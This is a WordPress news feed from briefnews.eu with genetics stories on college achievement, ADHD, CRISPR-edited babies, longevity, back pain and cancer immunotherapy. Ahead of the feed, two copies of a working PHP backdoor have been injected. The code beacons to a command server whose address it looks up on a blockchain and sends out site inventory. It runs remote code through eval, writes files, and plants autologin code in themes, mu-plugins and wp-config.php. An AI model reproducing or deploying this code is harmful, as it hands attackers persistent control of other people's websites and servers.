// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); genes – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 24 Jun 2021 07:51:42 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png genes – Brief News https://briefnews.eu 32 32 Wonder How You'll Do in College? Look at Your Genes https://briefnews.eu/wonder-how-youll-do-in-college-look-at-your-genes/ https://briefnews.eu/wonder-how-youll-do-in-college-look-at-your-genes/#respond Wed, 02 Jan 2019 12:37:08 +0000 http://briefnews.eu/wonder-how-youll-do-in-college-look-at-your-genes/ Families and schools have a substantial influence on whether or not young people go to college but no effect on how well students perform once they get there, according to the first study of genetic and environmental influences on higher education.

In an effort to disentangle the factors that determine college enrollment and performance, researchers at King’s College London studied 3,000 pairs of identical and nonidentical twins and 3,000 other people in the U.K. Results were published in the journal Scientific Reports.

Genetic factors account for 51 percent of differences between high school graduates in whether or not they go on to university. What the researchers call “shared environment” — mainly school and family background — accounts for 36 percent, while “non-shared environment,” reflecting individual circumstances, contributes the remaining 13 percent.

Achievement, measured by the student’s final degree class, is determined 46 percent by genetics and 53 percent by non-shared or individual environment.

Although the study did not look specifically at students’ socioeconomic background, the findings support the view that teenagers from poor and disadvantaged families are less likely than their more privileged counterparts to proceed to a college education for which their genes are well-suited. Researchers suggested that admissions policies should take more of these social factors into account.

“You would expect heritability — the genetic influence — to increase in a fairer and more equitable society,” says Emily Smith-Woolley, one member of the research team at King’s Institute of Psychiatry, Psychology and Neuroscience.

An earlier study by King’s researchers showed that shared environment played a big role in secondary education, accounting for 40 percent of differences in whether students choose to take A levels.

Once someone gets to college, the contribution of “shared environment” declines to less than 1 percent. Achievement, measured by the student’s final degree class, is determined 46 percent by genetics and 53 percent by non-shared or individual environment.

“Unlike secondary school, where students tend to share educational experiences, university provides young people with greater opportunity to be independent and to carve out their interests based on their natural abilities and aptitudes,” says Ziada Ayorech, another King’s researcher.

“Students’ unique environments — such as new friends and new experiences — appear to be explaining differences in university achievement and the role of shared environment becomes less significant,” Ayorech says.

Apart from studying the overall contribution of genes to educational achievement, scientists are beginning to identify some of the thousands of specific DNA variations responsible. The latest — and still unpublished — research suggests that up to 15 percent of variance in achievement may be predictable through a “polygenic score” based on detailed DNA analysis, says Smith-Woolley. Science is still a long way, though, from producing a useful genetic test for guiding young people to the best educational options.

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By Clive Cookson

OZY partners with the U.K.’s Financial Times to bring you premium analysis and features. © The Financial Times Limited 2018.

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]]> https://briefnews.eu/wonder-how-youll-do-in-college-look-at-your-genes/feed/ 0 Large genetic study finds first genes connected with ADHD https://briefnews.eu/large-genetic-study-finds-first-genes-connected-with-adhd/ https://briefnews.eu/large-genetic-study-finds-first-genes-connected-with-adhd/#respond Wed, 28 Nov 2018 05:29:34 +0000 http://briefnews.eu/large-genetic-study-finds-first-genes-connected-with-adhd/
Large genetic study finds first genes connected with ADHD

Enlarge (credit: Wyss Institute, Harvard)

If you have ADHD, chances are higher that your siblings do, too. Estimates differ as to how strong the connection is, but the arrows point in the same direction: genetics helps determine someone’s risk for ADHD. Beyond that, we still have myriad questions and not many answers—which genes play a role? And how do those genes affect someone’s ability to focus or sit still?

Some conditions, like sickle-cell anemia, rest entirely on a single small genetic change; but others, like schizophrenia, rest on a dizzying array of genetic differences, all seemingly linked to an infinitesimally tiny increase in risk.

ADHD is much closer to schizophrenia. A paper published in Nature Genetics this week looked at genetic data from more than 50,000 people, finding 12 different regions of DNA that seemed to play a role in increasing ADHD risk.

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]]> https://briefnews.eu/large-genetic-study-finds-first-genes-connected-with-adhd/feed/ 0 Chinese scientist claims he edited babies’ genes with CRISPR https://briefnews.eu/chinese-scientist-claims-he-edited-babies-genes-with-crispr/ https://briefnews.eu/chinese-scientist-claims-he-edited-babies-genes-with-crispr/#respond Mon, 26 Nov 2018 11:04:25 +0000 http://briefnews.eu/chinese-scientist-claims-he-edited-babies-genes-with-crispr/ A Chinese scientist claims to have created the world’s first genetically-edited babies using the CRISPR/Cas9 tool. He Jiankui (pictured) told the Associated Press that twin girls, Lulu and Nana, were born earlier this month following embryo-editing using CRISPR to disable the CCR5 gene, which allows the HIV virus to infect cells. An American scientist, Michael Deem, also reportedly assisted He on the project at the Southern University of Science and Technology of China.

According to He, embryos were edited for seven couples affected by HIV, with one pregnancy resulting thus far. He added that the patients refused to be identified or interviewed — he also wouldn’t say where the work was done.

TIP: A Guide To Genetic Engineering Biotech And How It Works

The news is already causing an outcry among researchers in the US, who slammed it as “unconscionable” and “immoral and unethical.” It follows similar reactions to China’s breakthrough on genetically-modified human embryos in 2015, which saw researchers remove a gene called HBB, responsible for the fatal blood disorder β-thalassaemia.

Notably, He’s work has not been published in a peer-reviewed scientific journal, meaning there’s no independent confirmation of the research. In an earlier report, the MIT Technology Review linked to Chinese medical documents posted online in the Chinese Clinical Trial Registry — a primary registry of the World Health Organization’s International Clinical Trial Registry. Scientists shown He’s materials by the AP concluded that the tests so far are insufficient to say the editing worked or to rule out harm to the genetically-edited babies.

Both the UK and Japan have given the green light to edit donated human embryos to better understand developmental processes. Meanwhile, the National Academy of Sciences also endorsed embryonic engineering last year, but only in cases that would otherwise result in children being born with serious genetic diseases.

Source: Associated Press, MIT Technology Review

]]> https://briefnews.eu/chinese-scientist-claims-he-edited-babies-genes-with-crispr/feed/ 0 The Evolutionary Importance of Neutral vs. Adaptive Genes https://briefnews.eu/the-evolutionary-importance-of-neutral-vs-adaptive-genes/ https://briefnews.eu/the-evolutionary-importance-of-neutral-vs-adaptive-genes/#respond Mon, 19 Nov 2018 06:13:17 +0000 http://briefnews.eu/the-evolutionary-importance-of-neutral-vs-adaptive-genes/ For 50 years, evolutionary theory has emphasized the importance of neutral mutations over adaptive ones in DNA. Real genomic data challenge that assumption.


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]]> https://briefnews.eu/the-evolutionary-importance-of-neutral-vs-adaptive-genes/feed/ 0 The Key to a Long Life Has Little to Do With ‘Good Genes’ https://briefnews.eu/the-key-to-a-long-life-has-little-to-do-with-good-genes/ https://briefnews.eu/the-key-to-a-long-life-has-little-to-do-with-good-genes/#respond Tue, 06 Nov 2018 15:15:29 +0000 http://briefnews.eu/the-key-to-a-long-life-has-little-to-do-with-good-genes/ Alphabet’s longevity lab Calico trawled through Ancestry’s massive genealogy database to study human longevity—and found that DNA matters less than people have long believed.


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]]> https://briefnews.eu/the-key-to-a-long-life-has-little-to-do-with-good-genes/feed/ 0 Chronic back pain could be in our genes, say scientists https://briefnews.eu/chronic-back-pain-could-be-in-our-genes-say-scientists/ https://briefnews.eu/chronic-back-pain-could-be-in-our-genes-say-scientists/#respond Sat, 29 Sep 2018 03:17:02 +0000 http://briefnews.eu/chronic-back-pain-could-be-in-our-genes-say-scientists/

BACKACHE may be down to our genes, research has revealed. Three mutations linked to the world’s leading cause of disability have been identified by scientists in a breakthrough that could lead to new therapies.

]]> https://briefnews.eu/chronic-back-pain-could-be-in-our-genes-say-scientists/feed/ 0 How Your Genes Could Be Used to Cure Cancer https://briefnews.eu/how-your-genes-could-be-used-to-cure-cancer/ https://briefnews.eu/how-your-genes-could-be-used-to-cure-cancer/#respond Wed, 12 Sep 2018 22:36:47 +0000 http://briefnews.eu/how-your-genes-could-be-used-to-cure-cancer/

Judy Perkins, a 52-year-old breast cancer patient, had been in remission for a decade when her cancer returned with a vengeance. She stopped responding to treatment and was grappling with a terminal diagnosis. But then Perkins learned about a National Institutes of Health trial that involved the extraction of immune cells to treat cancer. She enrolled, went for treatment and, within months, her advanced breast cancer was eradicated through the use of immunotherapy tailored to fight her tumors.

She dodged a bullet. A definitive cure for cancer has remained elusive despite years of steady advancements in treatment. Cancer killed 8.8 million people in 2015 worldwide, according to the WHO. But the rise of personalized and precision medicine like Perkins had now promises to transform cancer treatment. Traditional oncology treatment has largely focused on targeting every person’s tumors and cancer cells with the same methods. Yet everybody — and every cancer — is different, and the development of genome sequencing has paved the way toward a new cancer treatment tuned to those unique qualities: personalized immunotherapy.

Researchers have explored immunotherapy as a strategy for fighting cancer for years. The American Association for Cancer Research in 2015 found immunotherapy vaccines to be effective at treating non-small cell lung cancer. But immunotherapy is today leaping toward a level of personalization that scientists didn’t think was possible even just a few years ago.

This is truly revolutionary — something that’s never been done before.

Gad Berdugo, EpiVax Oncology, a personalized immunotherapy company

Beyond breast cancer, personalized immunotherapy can increase survival in brain cancer patients, according to a University of California Los Angeles study released in June. In May last year, the FDA approved a personalized and injectable drug, Keytruda, that helps the immune system destroy cancer cells and has increased survival for patients with skin cancer, Hodgkin lymphoma and bladder cancer, among others. The oncology community’s summits increasingly focus on personalized immunotherapy. This August, Cambridge Healthtech Institute will host its third annual personalized cancer vaccines meeting. There are likely 20 times more companies and research institutions focused on the development of personalized immunotherapy for cancer treatment today, compared to a decade ago, says Keith Knutson, a professor in the department of immunology at the Mayo Clinic in Jacksonville, Florida.

